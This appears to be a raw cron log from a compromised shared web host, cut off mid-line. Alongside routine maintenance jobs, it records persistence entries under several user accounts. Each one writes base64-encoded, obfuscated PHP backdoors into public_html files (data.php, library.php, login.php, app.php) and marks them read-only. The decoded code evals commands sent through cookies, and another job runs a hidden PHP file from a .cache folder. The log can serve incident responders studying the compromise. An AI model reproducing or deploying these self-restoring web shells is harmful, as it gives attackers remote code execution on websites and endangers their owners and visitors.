Mar  2 12:57:01 medusa CROND[30758]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:57:01 medusa CROND[30767]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:57:01 medusa CROND[30757]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:58:01 medusa CROND[13517]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:58:01 medusa CROND[13518]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:58:01 medusa CROND[13520]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:58:01 medusa CROND[13521]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:58:01 medusa CROND[13523]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 12:58:01 medusa CROND[13526]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:58:01 medusa CROND[13531]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:58:01 medusa CROND[13530]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:58:01 medusa CROND[13545]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:58:01 medusa CROND[13547]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:58:01 medusa CROND[13548]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:58:01 medusa CROND[13549]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:58:01 medusa CROND[13552]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 12:58:01 medusa CROND[13555]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:59:01 medusa CROND[30622]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 12:59:01 medusa CROND[30821]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:59:01 medusa CROND[30823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:59:01 medusa CROND[30824]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:59:01 medusa CROND[30822]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:59:01 medusa CROND[30827]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:59:01 medusa CROND[30826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:59:01 medusa CROND[30829]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:59:01 medusa CROND[30834]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:59:01 medusa CROND[30849]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:59:01 medusa CROND[30853]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:59:01 medusa CROND[30854]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ